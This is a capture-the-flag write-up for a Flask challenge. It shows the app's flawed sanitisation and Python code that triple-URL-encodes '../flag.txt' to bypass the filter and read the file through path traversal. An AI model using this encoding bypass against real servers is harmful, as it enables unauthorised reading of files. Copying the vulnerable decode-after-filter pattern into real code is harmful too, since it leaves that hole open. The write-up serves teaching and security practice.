BackdoorCTF writeup - secret_of_j4ck4l

A web application written with flask is given with its source code. It has a route that takes a query parameter which goes through some sanitization. But of course it’s faulty.

Going to the root ("/") of the site redirects us to /read_secret_message?file=message.

This is is the directory tree

1
2
3
4
app.py
flag.txt
message/
└── message

And this is the content of app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, request, render_template_string, redirect
import os
import urllib.parse

app = Flask(__name__)

base_directory = "message/"
default_file = "message.txt"

def ignore_it(file_param):
    yoooo = file_param.replace('.', '').replace('/', '')
    if yoooo != file_param:
        return "Illegal characters detected in file parameter!"
    return yoooo

def another_useless_function(file_param):
    return urllib.parse.unquote(file_param)

def url_encode_path(file_param):
    return urllib.parse.quote(file_param, safe='')

def useless (file_param):
    file_param1 = ignore_it(file_param)
    file_param2 = another_useless_function(file_param1)
    file_param3 = ignore_it(file_param2)
    file_param4 = another_useless_function(file_param3)
    file_param5 = another_useless_function(file_param4)
    return file_param5


@app.route('/')
def index():
    return redirect('/read_secret_message?file=message')

@app.route('/read_secret_message')
def read_file(file_param=None):
    file_param = request.args.get('file')
    file_param = useless(file_param)
    file_path = os.path.join(base_directory, file_param)

    try:
        with open(file_path, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return 'File not found! or maybe illegal characters detected'
    except Exception as e:
        return f'Error: {e}'


if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=4053)

We can see the useless() function is used to sanitize the file parameter. This function uses two other function.

  • ignore_it() : Checks for ‘.’ and ‘/’ characters.
  • another_useless_function(): Performs the urldecode operation.

Our objective is to create a payload that will load flag.txt, so the path would be ../flag.txt as the base_directory is set to message.

When the request is made, the query parameter is urldecoded once, then it goes through ignore_it, then a urldecode, then another ignore_it and urldecoded twice more. So we can access the file if the query passes through the 2nd call of ignore_it. One thing to note is that urldecoding of ascii characters returns the same string as the input.

After urlencoding, the characters are converted to their ascii value in hex. Which makes it possible to create a query that can bypass ignore_it. As ignore_it is called twice we need to urlencode our payload three times. Why three ? Because when the server receives a request and accesses the query parameter it is already urldecoded once. You can see this in action by adding a print statement before passing the query to useless()

1
2
3
file_param = request.args.get('file')
print("file_param of request :", file_param, flush=True)
file_param = useless(file_param)

app.py provides a function named url_encode_path() which performs urlencoding. We will use that to craft the payload.

An important thing to be aware is that, the “.” character doesn’t change after urlencoding. So we will urlencode its hex value(2E) two times, and ultimately the server will request the query which is urlencoded 3 times.

1
2
3
4
5
6
7
8
import urllib.parse

def url_encode_path(file_param):
    return urllib.parse.quote(file_param, safe='')

slash = url_encode_path(url_encode_path(url_encode_path("/")))
dot = url_encode_path(url_encode_path("%2E"))
payload = f"{dot}{dot}{slash}flag{dot}txt"
What if we urlencoded 4 times ?
another_useless_function is called 3 times. As the urldecoding is performed once before the query reaches useless(), urlencoding 4 times will also pass through and access the file.

You can print the payload and use it or just use python to make the request

1
2
3
4
import requests
url = f"http://127.0.0.1:4053/read_secret_message?file={payload}"
response = requests.get(url)
print(response.text)

Related Content